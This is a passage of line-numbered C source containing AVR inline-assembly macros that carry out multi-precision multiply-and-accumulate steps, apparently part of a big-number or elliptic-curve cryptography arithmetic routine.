3773 "mul r10, r17 \n\t" \
3774 "add r23, r0 \n\t" \
3775 "adc r24, r1 \n\t" \
3776 "adc r22, r25 \n\t" \
3777 "mul r11, r16 \n\t" \
3778 "add r23, r0 \n\t" \
3779 "adc r24, r1 \n\t" \
3780 "adc r22, r25 \n\t" \
3781 "mul r2, r15 \n\t" \
3782 "add r23, r0 \n\t" \
3783 "adc r24, r1 \n\t" \
3784 "adc r22, r25 \n\t" \
3785 "mul r3, r14 \n\t" \
3786 "add r23, r0 \n\t" \
3787 "adc r24, r1 \n\t" \
3788 "adc r22, r25 \n\t" \
3789 "mul r4, r13 \n\t" \
3790 "add r23, r0 \n\t" \
3791 "adc r24, r1 \n\t" \
3792 "adc r22, r25 \n\t" \
3793 "mul r5, r12 \n\t" \
3794 "add r23, r0 \n\t" \
3795 "adc r24, r1 \n\t" \
3796 "adc r22, r25 \n\t" \
3797 "ld r0, z \n\t" \
3798 "add r23, r0 \n\t" \
3799 "adc r24, r25 \n\t" \
3800 "adc r22, r25 \n\t" \
3801 "st z+, r23 \n\t" \
3802 \
3803 "ld r12, y+ \n\t" \
3804 "ldi r23, 0 \n\t" \
3805 "mul r6, r12 \n\t" \
3806 "add r24, r0 \n\t" \
3807 "adc r22, r1 \n\t" \
3808 "adc r23, r25 \n\t" \
3809 "mul r7, r21 \n\t" \
3810 "add r24, r0 \n\t" \
3811 "adc r22, r1 \n\t" \
3812 "adc r23, r25 \n\t" \
3813 "mul r8, r20 \n\t" \
3814 "add r24, r0 \n\t" \
3815 "adc r22, r1 \n\t" \
3816 "adc r23, r25 \n\t" \
3817 "mul r9, r19 \n\t" \
3818 "add r24, r0 \n\t" \
3819 "adc r22, r1 \n\t" \
3820 "adc r23, r25 \n\t" \
3821 "mul r10, r18 \n\t" \
3822 "add r24, r0 \n\t" \
3823 "adc r22, r1 \n\t" \
3824 "adc r23, r25 \n\t" \
3825 "mul r11, r17 \n\t" \
3826 "add r24, r0 \n\t" \
3827 "adc r22, r1 \n\t" \
3828 "adc r23, r25 \n\t" \
3829 "mul r2, r16 \n\t" \
3830 "add r24, r0 \n\t" \
3831 "adc r22, r1 \n\t" \
3832 "adc r23, r25 \n\t" \
3833 "mul r3, r15 \n\t" \
3834 "add r24, r0 \n\t" \
3835 "adc r22, r1 \n\t" \
3836 "adc r23, r25 \n\t" \
3837 "mul r4, r14 \n\t" \
3838 "add r24, r0 \n\t" \
3839 "adc r22, r1 \n\t" \
3840 "adc r23, r25 \n\t" \
3841 "mul r5, r13 \n\t" \
3842 "add r24, r0 \n\t" \
3843 "adc r22, r1 \n\t" \
3844 "adc r23, r25 \n\t" \
3845 "ld r0, z \n\t" \
3846 "add r24, r0 \n\t" \
3847 "adc r22, r25 \n\t" \
3848 "adc r23, r25 \n\t" \
3849 "st z+, r24 \n\t" \
3850 \
3851 "ld r13, y+ \n\t" \
3852 "ldi r24, 0 \n\t" \
3853 "mul r6, r13 \n\t" \
3854 "add r22, r0 \n\t" \
3855 "adc r23, r1 \n\t" \
3856 "adc r24, r25 \n\t" \
3857 "mul r7, r12 \n\t" \
3858 "add r22, r0 \n\t" \
3859 "adc r23, r1 \n\t" \
3860 "adc r24, r25 \n\t" \
3861 "mul r8, r21 \n\t" \
3862 "add r22, r0 \n\t" \
3863 "adc r23, r1 \n\t" \
3864 "adc r24, r25 \n\t" \
3865 "mul r9, r20 \n\t" \
3866 "add r22, r0 \n\t" \
3867 "adc r23, r1 \n\t" \
3868 "adc r24, r25 \n\t" \
3869 "mul r10, r19 \n\t" \
3870 "add r22, r0 \n\t" \
3871 "adc r23, r1 \n\t" \
3872 "adc r24, r25 \n\t" \
3873 "mul r11, r18 \n\t" \
3874 "add r22, r0 \n\t" \
3875 "adc r23, r1 \n\t" \
3876 "adc r24, r25 \n\t" \
3877 "mul r2, r17 \n\t" \
3878 "add r22, r0 \n\t" \
3879 "adc r23, r1 \n\t" \
3880 "adc r24, r25 \n\t" \
3881 "mul r3, r16 \n\t" \
3882 "add r22, r0 \n\t" \
3883 "adc r23, r1 \n\t" \
3884 "adc r24, r25 \n\t" \
3885 "mul r4, r15 \n\t" \
3886 "add r22, r0 \n\t" \
3887 "adc r23, r1 \n\t" \
3888 "adc r24, r25 \n\t" \
3889 "mul r5, r14 \n\t" \
3890 "add r22, r0 \n\t" \
3891 "adc r23, r1 \n\t" \
3892 "adc r24, r25 \n\t" \
3893 "ld r0, z \n\t" \
3894 "add r22, r0 \n\t" \
3895 "adc r23, r25 \n\t" \
3896 "adc r24, r25 \n\t" \
3897 "st z+, r22 \n\t" \
3898 \
3899 "ld r14, y+ \n\t" \
3900 "ldi r22, 0 \n\t" \
3901 "mul r6, r14 \n\t" \
3902 "add r23, r0 \n\t" \
3903 "adc r24, r1 \n\t" \
3904 "adc r22, r25 \n\t" \
3905 "mul r7, r13 \n\t" \
3906 "add r23, r0 \n\t" \
3907 "adc r24, r1 \n\t" \
3908 "adc r22, r25 \n\t" \
3909 "mul r8, r12 \n\t" \
3910 "add r23, r0 \n\t" \
3911 "adc r24, r1 \n\t" \
3912 "adc r22, r25 \n\t" \
3913 "mul r9, r21 \n\t" \
3914 "add r23, r0 \n\t" \
3915 "adc r24, r1 \n\t" \
3916 "adc r22, r25 \n\t" \
3917 "mul r10, r20 \n\t" \
3918 "add r23, r0 \n\t" \
3919 "adc r24, r1 \n\t" \
3920 "adc r22, r25 \n\t" \
3921 "mul r11, r19 \n\t" \
3922 "add r23, r0 \n\t" \
3923 "adc r24, r1 \n\t" \
3924 "adc r22, r25 \n\t" \
3925 "mul r2, r18 \n\t" \
3926 "add r23, r0 \n\t" \
3927 "adc r24, r1 \n\t" \
3928 "adc r22, r25 \n\t" \
3929 "mul r3, r17 \n\t" \
3930 "add r23, r0 \n\t" \
3931 "adc r24, r1 \n\t" \
3932 "adc r22, r25 \n\t" \
3933 "mul r4, r16 \n\t" \
3934 "add r23, r0 \n\t" \
3935 "adc r24, r1 \n\t" \
3936 "adc r22, r25 \n\t" \
3937 "mul r5, r15 \n\t" \
3938 "add r23, r0 \n\t" \
3939 "adc r24, r1 \n\t" \
3940 "adc r22, r25 \n\t" \
3941 "ld r0, z \n\t" \
3942 "add r23, r0 \n\t" \
3943 "adc r24, r25 \n\t" \
3944 "adc r22, r25 \n\t" \
3945 "st z+, r23 \n\t" \
3946 \
3947 "ld r15, y+ \n\t" \
3948 "ldi r23, 0 \n\t" \
3949 "mul r6, r15 \n\t" \
3950 "add r24, r0 \n\t" \
3951 "adc r22, r1 \n\t" \
3952 "adc r23, r25 \n\t" \
3953 "mul r7, r14 \n\t" \
3954 "add r24, r0 \n\t" \
3955 "adc r22, r1 \n\t" \
3956 "adc r23, r25 \n\t" \
3957 "mul r8, r13 \n\t" \
3958 "add r24, r0 \n\t" \
3959 "adc r22, r1 \n\t" \
3960 "adc r23, r25 \n\t" \
3961 "mul r9, r12 \n\t" \
3962 "add r24, r0 \n\t" \
3963 "adc r22, r1 \n\t" \
3964 "adc r23, r25 \n\t" \
3965 "mul r10, r21 \n\t" \
3966 "add r24, r0 \n\t" \
3967 "adc r22, r1 \n\t" \
3968 "adc r23, r25 \n\t" \
3969 "mul r11, r20 \n\t" \
3970 "add r24, r0 \n\t" \
3971 "adc r22, r1 \n\t" \
3972 "adc r23, r25 \n\t" \
3973 "mul r2, r19 \n\t" \
3974 "add r24, r0 \n\t" \
3975 "adc r22, r1 \n\t" \
3976 "adc r23, r25 \n\t" \
3977 "mul r3, r18 \n\t" \
3978 "add r24, r0 \n\t" \
3979 "adc r22, r1 \n\t" \
3980 "adc r23, r25 \n\t" \
3981 "mul r4, r17 \n\t" \
3982 "add r24, r0 \n\t" \
3983 "adc r22, r1 \n\t" \
3984 "adc r23, r25 \n\t" \
3985 "mul r5, r16 \n\t" \
3986 "add r24, r0 \n\t" \
3987 "adc r22, r1 \n\t" \
3988 "adc r23, r25 \n\t" \
3989 "ld r0, z \n\t" \
3990 "add r24, r0 \n\t" \
3991 "adc r22, r25 \n\t" \
3992 "adc r23, r25 \n\t" \
3993 "st z+, r24 \n\t" \
3994 \
3995 "ld r16, y+ \n\t" \
3996 "ldi r24, 0 \n\t" \
3997 "mul r6, r16 \n\t" \
3998 "add r22, r0 \n\t" \
3999 "adc r23, r1 \n\t" \
4000 "adc r24, r25 \n\t" \
4001 "mul r7, r15 \n\t" \
4002 "add r22, r0 \n\t" \
4003 "adc r23, r1 \n\t" \
4004 "adc r24, r25 \n\t" \
4005 "mul r8, r14 \n\t" \
4006 "add r22, r0 \n\t" \
4007 "adc r23, r1 \n\t" \
4008 "adc r24, r25 \n\t" \
4009 "mul r9, r13 \n\t" \
4010 "add r22, r0 \n\t" \
4011 "adc r23, r1 \n\t" \
4012 "adc r24, r25 \n\t" \
4013 "mul r10, r12 \n\t" \
4014 "add r22, r0 \n\t" \
4015 "adc r23, r1 \n\t" \
4016 "adc r24, r25 \n\t" \
4017 "mul r11, r21 \n\t" \
4018 "add r22, r0 \n\t" \
4019 "adc r23, r1 \n\t" \
4020 "adc r24, r25 \n\t" \
4021 "mul r2, r20 \n\t" \
4022 "add r22, r0 \n\t" \
4023 "adc r23, r1 \n\t" \
4024 "adc r24, r25 \n\t" \
4025 "mul r3, r19 \n\t" \
4026 "add r22, r0 \n\t" \
4027 "adc r23, r1 \n\t" \
4028 "adc r24, r25 \n\t" \
4029 "mul r4, r18 \n\t" \
4030 "add r22, r0 \n\t" \
4031 "adc r23, r1 \n\t" \
4032 "adc r24, r25 \n\t" \
4033 "mul r5, r17 \n\t" \
4034 "add r22, r0 \n\t" \
4035 "adc r23, r1 \n\t" \
4036 "adc r24, r25 \n\t" \
4037 "ld r0, z \n\t" \
4038 "add r22, r0 \n\t" \
4039 "adc r23, r25 \n\t" \
4040 "adc r24, r25 \n\t" \
4041 "st z+, r22 \n\t" \
4042 \
4043 "ld r17, y+ \n\t" \
4044 "ldi r22, 0 \n\t" \
4045 "mul r6, r17 \n\t" \
4046 "add r23, r0 \n\t" \
4047 "adc r24, r1 \n\t" \
4048 "adc r22, r25 \n\t" \
4049 "mul r7, r16 \n\t" \
4050 "add r23, r0 \n\t" \
4051 "adc r24, r1 \n\t" \
4052 "adc r22, r25 \n\t" \
4053 "mul r8, r15 \n\t" \
4054 "add r23, r0 \n\t" \
4055 "adc r24, r1 \n\t" \
4056 "adc r22, r25 \n\t" \
4057 "mul r9, r14 \n\t" \
4058 "add r23, r0 \n\t" \
4059 "adc r24, r1 \n\t" \
4060 "adc r22, r25 \n\t" \
4061 "mul r10, r13 \n\t" \
4062 "add r23, r0 \n\t" \
4063 "adc r24, r1 \n\t" \
4064 "adc r22, r25 \n\t" \
4065 "mul r11, r12 \n\t" \
4066 "add r23, r0 \n\t" \
4067 "adc r24, r1 \n\t" \
4068 "adc r22, r25 \n\t" \
4069 "mul r2, r21 \n\t" \
4070 "add r23, r0 \n\t" \
4071 "adc r24, r1 \n\t" \
4072 "adc r22, r25 \n\t" \
4073 "mul r3, r20 \n\t" \
4074 "add r23, r0 \n\t" \
4075 "adc r24, r1 \n\t" \
4076 "adc r22, r25 \n\t" \
4077 "mul r4, r19 \n\t" \
4078 "add r23, r0 \n\t" \
4079 "adc r24, r1 \n\t" \
4080 "adc r22, r25 \n\t" \
4081 "mul r5, r18 \n\t" \
4082 "add r23, r0 \n\t" \
4083 "adc r24, r1 \n\t" \
4084 "adc r22, r25 \n\t" \
4085 "ld r0, z \n\t" \
4086 "add r23, r0 \n\t" \
4087 "adc r24, r25 \n\t" \
4088 "adc r22, r25 \n\t" \
4089 "st z+, r23 \n\t" \
4090 \
4091 "ld r18, y+ \n\t" \
4092 "ldi r23, 0 \n\t" \
4093 "mul r6, r18 \n\t" \
4094 "add r24, r0 \n\t" \
4095 "adc r22, r1 \n\t" \
4096 "adc r23, r25 \n\t" \
4097 "mul r7, r17 \n\t" \
4098 "add r24, r0 \n\t" \
4099 "adc r22, r1 \n\t" \
4100 "adc r23, r25 \n\t" \
4101 "mul r8, r16 \n\t" \
4102 "add r24, r0 \n\t" \
4103 "adc r22, r1 \n\t" \
4104 "adc r23, r25 \n\t" \
4105 "mul r9, r15 \n\t" \
4106 "add r24, r0 \n\t" \
4107 "adc r22, r1 \n\t" \
4108 "adc r23, r25 \n\t" \
4109 "mul r10, r14 \n\t" \
4110 "add r24, r0 \n\t" \
4111 "adc r22, r1 \n\t" \
4112 "adc r23, r25 \n\t" \
4113 "mul r11, r13 \n\t" \
4114 "add r24, r0 \n\t" \
4115 "adc r22, r1 \n\t" \
4116 "adc r23, r25 \n\t" \
4117 "mul r2, r12 \n\t" \
4118 "add r24, r0 \n\t" \
4119 "adc r22, r1 \n\t" \
4120 "adc r23, r25 \n\t" \
4121 "mul r3, r21 \n\t" \
4122 "add r24, r0 \n\t" \
4123 "adc r22, r1 \n\t" \
4124 "adc r23, r25 \n\t" \
4125 "mul r4, r20 \n\t" \
4126 "add r24, r0 \n\t" \
4127 "adc r22, r1 \n\t" \
4128 "adc r23, r25 \n\t" \
4129 "mul r5, r19 \n\t" \
4130 "add r24, r0 \n\t" \
4131 "adc r22, r1 \n\t" \
4132 "adc r23, r25 \n\t" \
4133 "ld r0, z \n\t" \
4134 "add r24, r0 \n\t" \
4135 "adc r22, r25 \n\t" \
4136 "adc r23, r25 \n\t" \
4137 "st z+, r24 \n\t" \
4138 \
4139 "ld r19, y+ \n\t" \
4140 "ldi r24, 0 \n\t" \
4141 "mul r6, r19 \n\t" \
4142 "add r22, r0 \n\t" \
4143 "adc r23, r1 \n\t" \
4144 "adc r24, r25 \n\t" \
4145 "mul r7, r18 \n\t" \
4146 "add r22, r0 \n\t" \
4147 "adc r23, r1 \n\t" \
4148 "adc r24, r25 \n\t" \
4149 "mul r8, r17 \n\t" \
4150 "add r22, r0 \n\t" \
4151 "adc r23, r1 \n\t" \
4152 "adc r24, r25 \n\t" \
4153 "mul r9, r16 \n\t" \
4154 "add r22, r0 \n\t" \
4155 "adc r23, r1 \n\t" \
4156 "adc r24, r25 \n\t" \
4157 "mul r10, r15 \n\t" \
4158 "add r22, r0 \n\t" \
4159 "adc r23, r1 \n\t" \
4160 "adc r24, r25 \n\t" \
4161 "mul r11, r14 \n\t" \
4162 "add r22, r0 \n\t" \
4163 "adc r23, r1 \n\t" \
4164 "adc r24, r25 \n\t" \
4165 "mul r2, r13 \n\t" \
4166 "add r22, r0 \n\t" \
4167 "adc r23, r1 \n\t" \
4168 "adc r24, r25 \n\t" \
4169 "mul r3, r12 \n\t" \
4170 "add r22, r0 \n\t" \
4171 "adc r23, r1 \n\t" \
4172 "adc r24, r25 \n\t" \
4173 "mul r4, r21 \n\t" \
4174 "add r22, r0 \n\t" \
4175 "adc r23, r1 \n\t" \
4176 "adc r24, r25 \n\t" \
4177 "mul r5, r20 \n\t" \
4178 "add r22, r0 \n\t" \
4179 "adc r23, r1 \n\t" \
4180 "adc r24, r25 \n\t" \
4181 "ld r0, z \n\t" \
4182 "add r22, r0 \n\t" \
4183 "adc r23, r25 \n\t" \
4184 "adc r24, r25 \n\t" \
4185 "st z+, r22 \n\t" \
4186 \
4187 "ld r20, y+ \n\t" \
4188 "ldi r22, 0 \n\t" \
4189 "mul r6, r20 \n\t" \
4190 "add r23, r0 \n\t" \
4191 "adc r24, r1 \n\t" \
4192 "adc r22, r25 \n\t" \
4193 "mul r7, r19 \n\t" \
4194 "add r23, r0 \n\t" \
4195 "adc r24, r1 \n\t" \
4196 "adc r22, r25 \n\t" \
4197 "mul r8, r18 \n\t" \
4198 "add r23, r0 \n\t" \
4199 "adc r24, r1 \n\t" \
4200 "adc r22, r25 \n\t" \
4201 "mul r9, r17 \n\t" \
4202 "add r23, r0 \n\t" \
4203 "adc r24, r1 \n\t" \
4204 "adc r22, r25 \n\t" \
4205 "mul r10, r16 \n\t" \
4206 "add r23, r0 \n\t" \
4207 "adc r24, r1 \n\t" \
4208 "adc r22, r25 \n\t" \
4209 "mul r11, r15 \n\t" \
4210 "add r23, r0 \n\t" \
4211 "adc r24, r1 \n\t" \
4212 "adc r22, r25 \n\t" \
4213 "mul r2, r14 \n\t" \
4214 "add r23, r0 \n\t" \
4215 "adc r24, r1 \n\t" \
4216 "adc r22, r25 \n\t" \
4217 "mul r3, r13 \n\t" \
4218 "add r23, r0 \n\t" \
4219 "adc r24, r1 \n\t" \
4220 "adc r22, r25 \n\t" \
4221 "mul r4, r12 \n\t" \
4222 "add r23, r0 \n\t" \
4223 "adc r24, r1 \n\t" \
4224 "adc r22, r25 \n\t" \
4225 "mul r5, r21 \n\t" \
4226 "add r23, r0 \n\t" \
4227 "adc r24, r1 \n\t" \
4228 "adc r22, r25 \n\t" \
4229 "ld r0, z \n\t" \
4230 "add r23, r0 \n\t" \
4231 "adc r24, r25 \n\t" \
4232 "adc r22, r25 \n\t" \
4233 "st z+, r23 \n\t" \
4234 \
4235 "ld r21, y+ \n\t" \
4236 "ldi r23, 0 \n\t" \
4237 "mul r6, r21 \n\t" \
4238 "add r24, r0 \n\t" \
4239 "adc r22, r1 \n\t" \
4240 "adc r23, r25 \n\t" \
4241 "mul r7, r20 \n\t" \
4242 "add r24, r0 \n\t" \
4243 "adc r22, r1 \n\t" \
4244 "adc r23, r25 \n\t" \
4245 "mul r8, r19 \n\t" \
4246 "add r24, r0 \n\t" \
4247 "adc r22, r1 \n\t" \
4248 "adc r23, r25 \n\t" \
4249 "mul r9, r18 \n\t" \
4250 "add r24, r0 \n\t" \
4251 "adc r22, r1 \n\t" \
4252 "adc r23, r25 \n\t" \
4253 "mul r10, r17 \n\t" \
4254 "add r24, r0 \n\t" \
4255 "adc r22, r1 \n\t" \
4256 "adc r23, r25 \n\t" \
4257 "mul r11, r16 \n\t" \
4258 "add r24, r0 \n\t" \
4259 "adc r22, r1 \n\t" \
4260 "adc r23, r25 \n\t" \
4261 "mul r2, r15 \n\t" \
4262 "add r24, r0 \n\t" \
4263 "adc r22, r1 \n\t" \
4264 "adc r23, r25 \n\t" \
4265 "mul r3, r14 \n\t" \
4266 "add r24, r0 \n\t" \
4267 "adc r22, r1 \n\t" \
4268 "adc r23, r25 \n\t" \
4269 "mul r4, r13 \n\t" \
4270 "add r24, r0 \n\t" \
4271 "adc r22, r1 \n\t" \
4272 "adc r23, r25 \n\t" \
4273 "mul r5, r12 \n\t" \
4274 "add r24, r0 \n\t" \
4275 "adc r22, r1 \n\t" \
4276 "adc r23, r25 \n\t" \
4277 "ld r0, z \n\t" \
4278 "add r24, r0 \n\t" \
4279 "adc r22, r25 \n\t" \
4280 "adc r23, r25 \n\t" \
4281 "st z+, r24 \n\t" \
4282 \
4283 "ld r12, y+ \n\t" \
4284 "ldi r24, 0 \n\t" \
4285 "mul r6, r12 \n\t" \
4286 "add r22, r0 \n\t" \
4287 "adc r23, r1 \n\t" \
4288 "adc r24, r25 \n\t" \
4289 "mul r7, r21 \n\t" \
4290 "add r22, r0 \n\t" \
4291 "adc r23, r1 \n\t" \
4292 "adc r24, r25 \n\t" \
4293 "mul r8, r20 \n\t" \
4294 "add r22, r0 \n\t" \
4295 "adc r23, r1 \n\t" \
4296 "adc r24, r25 \n\t" \
4297 "mul r9, r19 \n\t" \
4298 "add r22, r0 \n\t" \
4299 "adc r23, r1 \n\t" \
4300 "adc r24, r25 \n\t" \
4301 "mul r10, r18 \n\t" \
4302 "add r22, r0 \n\t" \
4303 "adc r23, r1 \n\t" \
4304 "adc r24, r25 \n\t" \
4305 "mul r11, r17 \n\t" \
4306 "add r22, r0 \n\t" \
4307 "adc r23, r1 \n\t" \
4308 "adc r24, r25 \n\t" \
4309 "mul r2, r16 \n\t" \
4310 "add r22, r0 \n\t" \
4311 "adc r23, r1 \n\t" \
4312 "adc r24, r25 \n\t" \
4313 "mul r3, r15 \n\t" \
4314 "add r22, r0 \n\t" \
4315 "adc r23, r1 \n\t" \
4316 "adc r24, r25 \n\t" \
4317 "mul r4, r14 \n\t" \
4318 "add r22, r0 \n\t" \
4319 "adc r23, r1 \n\t" \
4320 "adc r24, r25 \n\t" \
4321 "mul r5, r13 \n\t" \
4322 "add r22, r0 \n\t" \
4323 "adc r23, r1 \n\t" \
4324 "adc r24, r25 \n\t" \
4325 "ld r0, z \n\t" \
4326 "add r22, r0 \n\t" \
4327 "adc r23, r25 \n\t" \
4328 "adc r24, r25 \n\t" \
4329 "st z+, r22 \n\t" \
4330 \
4331 "ld r13, y+ \n\t" \
4332 "ldi r22, 0 \n\t" \
4333 "mul r6, r13 \n\t" \
4334 "add r23, r0 \n\t" \
4335 "adc r24, r1 \n\t" \
4336 "adc r22, r25 \n\t" \
4337 "mul r7, r12 \n\t" \
4338 "add r23, r0 \n\t" \
4339 "adc r24, r1 \n\t" \
4340 "adc r22, r25 \n\t" \
4341 "mul r8, r21 \n\t" \
4342 "add r23, r0 \n\t" \
4343 "adc r24, r1 \n\t" \
4344 "adc r22, r25 \n\t" \
4345 "mul r9, r20 \n\t" \
4346 "add r23, r0 \n\t" \
4347 "adc r24, r1 \n\t" \
4348 "adc r22, r25 \n\t" \
4349 "mul r10, r19 \n\t" \
4350 "add r23, r0 \n\t" \
4351 "adc r24, r1 \n\t" \
4352 "adc r22, r25 \n\t" \
4353 "mul r11, r18 \n\t" \
4354 "add r23, r0 \n\t" \
4355 "adc r24, r1 \n\t" \
4356 "adc r22, r25 \n\t" \
4357 "mul r2, r17 \n\t" \
4358 "add r23, r0 \n\t" \
4359 "adc r24, r1 \n\t" \
4360 "adc r22, r25 \n\t" \
4361 "mul r3, r16 \n\t" \
4362 "add r23, r0 \n\t" \
4363 "adc r24, r1 \n\t" \
4364 "adc r22, r25 \n\t" \
4365 "mul r4, r15 \n\t" \
4366 "add r23, r0 \n\t" \
4367 "adc r24, r1 \n\t" \
4368 "adc r22, r25 \n\t" \
4369 "mul r5, r14 \n\t" \
4370 "add r23, r0 \n\t" \
4371 "adc r24, r1 \n\t" \
4372 "adc r22, r25 \n\t" \
4373 "ld r0, z \n\t" \
4374 "add r23, r0 \n\t" \
4375 "adc r24, r25 \n\t" \
4376 "adc r22, r25 \n\t" \
4377 "st z+, r23 \n\t" \
4378 \
4379 "ld r14, y+ \n\t" \
4380 "ldi r23, 0 \n\t" \
4381 "mul r6, r14 \n\t" \
4382 "add r24, r0 \n\t" \
4383 "adc r22, r1 \n\t" \
4384 "adc r23, r25 \n\t" \
4385 "mul r7, r13 \n\t" \
4386 "add r24, r0 \n\t" \
4387 "adc r22, r1 \n\t" \
4388 "adc r23, r25 \n\t" \
4389 "mul r8, r12 \n\t" \
4390 "add r24, r0 \n\t" \
4391 "adc r22, r1 \n\t" \
4392 "adc r23, r25 \n\t" \
4393 "mul r9, r21 \n\t" \
4394 "add r24, r0 \n\t" \
4395 "adc r22, r1 \n\t" \
4396 "adc r23, r25 \n\t" \
4397 "mul r10, r20 \n\t" \
4398 "add r24, r0 \n\t" \
4399 "adc r22, r1 \n\t" \
4400 "adc r23, r25 \n\t" \
4401 "mul r11, r19 \n\t" \
4402 "add r24, r0 \n\t" \
4403 "adc r22, r1 \n\t" \
4404 "adc r23, r25 \n\t" \
4405 "mul r2, r18 \n\t" \
4406 "add r24, r0 \n\t" \
4407 "adc r22, r1 \n\t" \
4408 "adc r23, r25 \n\t" \
4409 "mul r3, r17 \n\t" \
4410 "add r24, r0 \n\t" \
4411 "adc r22, r1 \n\t" \
4412 "adc r23, r25 \n\t" \
4413 "mul r4, r16 \n\t" \
4414 "add r24, r0 \n\t" \
4415 "adc r22, r1 \n\t" \
4416 "adc r23, r25 \n\t" \
4417 "mul r5, r15 \n\t" \
4418 "add r24, r0 \n\t" \
4419 "adc r22, r1 \n\t" \
4420 "adc r23, r25 \n\t" \
4421 "ld r0, z \n\t" \
4422 "add r24, r0 \n\t" \
4423 "adc r22, r25 \n\t" \
4424 "adc r23, r25 \n\t" \
4425 "st z+, r24 \n\t" \
4426 \
4427 "ld r15, y+ \n\t" \
4428 "ldi r24, 0 \n\t" \
4429 "mul r6, r15 \n\t" \
4430 "add r22, r0 \n\t" \
4431 "adc r23, r1 \n\t" \
4432 "adc r24, r25 \n\t" \
4433 "mul r7, r14 \n\t" \
4434 "add r22, r0 \n\t" \
4435 "adc r23, r1 \n\t" \
4436 "adc r24, r25 \n\t" \
4437 "mul r8, r13 \n\t" \
4438 "add r22, r0 \n\t" \
4439 "adc r23, r1 \n\t" \
4440 "adc r24, r25 \n\t" \
4441 "mul r9, r12 \n\t" \
4442 "add r22, r0 \n\t" \
4443 "adc r23, r1 \n\t" \
4444 "adc r24, r25 \n\t" \
4445 "mul r10, r21 \n\t" \
4446 "add r22, r0 \n\t" \
4447 "adc r23, r1 \n\t" \
4448 "adc r24, r25 \n\t" \
4449 "mul r11, r20 \n\t" \
4450 "add r22, r0 \n\t" \
4451 "adc r23, r1 \n\t" \
4452 "adc r24, r25 \n\t" \
4453 "mul r2, r19 \n\t" \
4454 "add r22, r0 \n\t" \
4455 "adc r23, r1 \n\t" \
4456 "adc r24, r25 \n\t" \
4457 "mul r3, r18 \n\t" \
4458 "add r22, r0 \n\t" \
4459 "adc r23, r1 \n\t" \
4460 "adc r24, r25 \n\t" \
4461 "mul r4, r17 \n\t" \
4462 "add r22, r0 \n\t" \
4463 "adc r23, r1 \n\t" \
4464 "adc r24, r25 \n\t" \
4465 "mul r5, r16 \n\t" \
4466 "add r22, r0 \n\t" \
4467 "adc r23, r1 \n\t" \
4468 "adc r24, r25 \n\t" \
4469 "ld r0, z \n\t" \
4470 "add r22, r0 \n\t" \
4471 "adc r23, r25 \n\t" \
4472 "adc r24, r25 \n\t" \
4473 "st z+, r22 \n\t" \
4474 \
4475 "ldi r22, 0 \n\t" \
4476 "mul r7, r15 \n\t" \
4477 "add r23, r0 \n\t" \
4478 "adc r24, r1 \n\t" \
4479 "adc r22, r25 \n\t" \
4480 "mul r8, r14 \n\t" \
4481 "add r23, r0 \n\t" \
4482 "adc r24, r1 \n\t" \
4483 "adc r22, r25 \n\t" \
4484 "mul r9, r13 \n\t" \
4485 "add r23, r0 \n\t" \
4486 "adc r24, r1 \n\t" \
4487 "adc r22, r25 \n\t" \
4488 "mul r10, r12 \n\t" \
4489 "add r23, r0 \n\t" \
4490 "adc r24, r1 \n\t" \
4491 "adc r22, r25 \n\t" \
4492 "mul r11, r21 \n\t" \
4493 "add r23, r0 \n\t" \
4494 "adc r24, r1 \n\t" \
4495 "adc r22, r25 \n\t" \
4496 "mul r2, r20 \n\t" \
4497 "add r23, r0 \n\t" \
4498 "adc r24, r1 \n\t" \
4499 "adc r22, r25 \n\t" \
4500 "mul r3, r19 \n\t" \
4501 "add r23, r0 \n\t" \
4502 "adc r24, r1 \n\t" \
4503 "adc r22, r25 \n\t" \
4504 "mul r4, r18 \n\t" \
4505 "add r23, r0 \n\t" \
4506 "adc r24, r1 \n\t" \
4507 "adc r22, r25 \n\t" \
4508 "mul r5, r17 \n\t" \
4509 "add r23, r0 \n\t" \
4510 "adc r24, r1 \n\t" \
4511 "adc r22, r25 \n\t" \
4512 "st z+, r23 \n\t" \
4513 \
4514 "ldi r23, 0 \n\t" \
4515 "mul r8, r15 \n\t" \
4516 "add r24, r0 \n\t" \
4517 "adc r22, r1 \n\t" \
4518 "adc r23, r25 \n\t" \
4519 "mul r9, r14 \n\t" \
4520 "add r24, r0 \n\t" \
4521 "adc r22, r1 \n\t" \
4522 "adc r23, r25 \n\t" \
4523 "mul r10, r13 \n\t" \
4524 "add r24, r0 \n\t" \
4525 "adc r22, r1 \n\t" \
4526 "adc r23, r25 \n\t" \
4527 "mul r11, r12 \n\t" \
4528 "add r24, r0 \n\t" \
4529 "adc r22, r1 \n\t" \
4530 "adc r23, r25 \n\t" \
4531 "mul r2, r21 \n\t" \
4532 "add r24, r0 \n\t" \
4533 "adc r22, r1 \n\t" \
4534 "adc r23, r25 \n\t" \
4535 "mul r3, r20 \n\t" \
4536 "add r24, r0 \n\t" \
4537 "adc r22, r1 \n\t" \
4538 "adc r23, r25 \n\t" \
4539 "mul r4, r19 \n\t" \
4540 "add r24, r0 \n\t" \
4541 "adc r22, r1 \n\t" \
4542 "adc r23, r25 \n\t" \
4543 "mul r5, r18 \n\t" \
4544 "add r24, r0 \n\t" \
4545 "adc r22, r1 \n\t" \
4546 "adc r23, r25 \n\t" \
4547 "st z+, r24 \n\t" \
4548 \
4549 "ldi r24, 0 \n\t" \
4550 "mul r9, r15 \n\t" \
4551 "add r22, r0 \n\t" \
4552 "adc r23, r1 \n\t" \
4553 "adc r24, r25 \n\t" \
4554 "mul r10, r14 \n\t" \
4555 "add r22, r0 \n\t" \
4556 "adc r23, r1 \n\t" \
4557 "adc r24, r25 \n\t" \
4558 "mul r11, r13 \n\t" \
4559 "add r22, r0 \n\t" \
4560 "adc r23, r1 \n\t" \
4561 "adc r24, r25 \n\t" \
4562 "mul r2, r12 \n\t" \
4563 "add r22, r0 \n\t" \
4564 "adc r23, r1 \n\t" \
4565 "adc r24, r25 \n\t" \
4566 "mul r3, r21 \n\t" \
4567 "add r22, r0 \n\t" \
4568 "adc r23, r1 \n\t" \
4569 "adc r24, r25 \n\t" \
4570 "mul r4, r20 \n\t" \
4571 "add r22, r0 \n\t" \
4572 "adc r23, r1 \n\t" \
4573 "adc r24, r25 \n\t" \
4574 "mul r5, r19 \n\t" \
4575 "add r22, r0 \n\t" \
4576 "adc r23, r1 \n\t" \
4577 "adc r24, r25 \n\t" \
4578 "st z+, r22 \n\t" \
4579 \
4580 "ldi r22, 0 \n\t" \
4581 "mul r10, r15 \n\t" \
4582 "add r23, r0 \n\t" \
4583 "adc r24, r1 \n\t" \
4584 "adc r22, r25 \n\t" \
4585 "mul r11, r14 \n\t" \
4586 "add r23, r0 \n\t" \
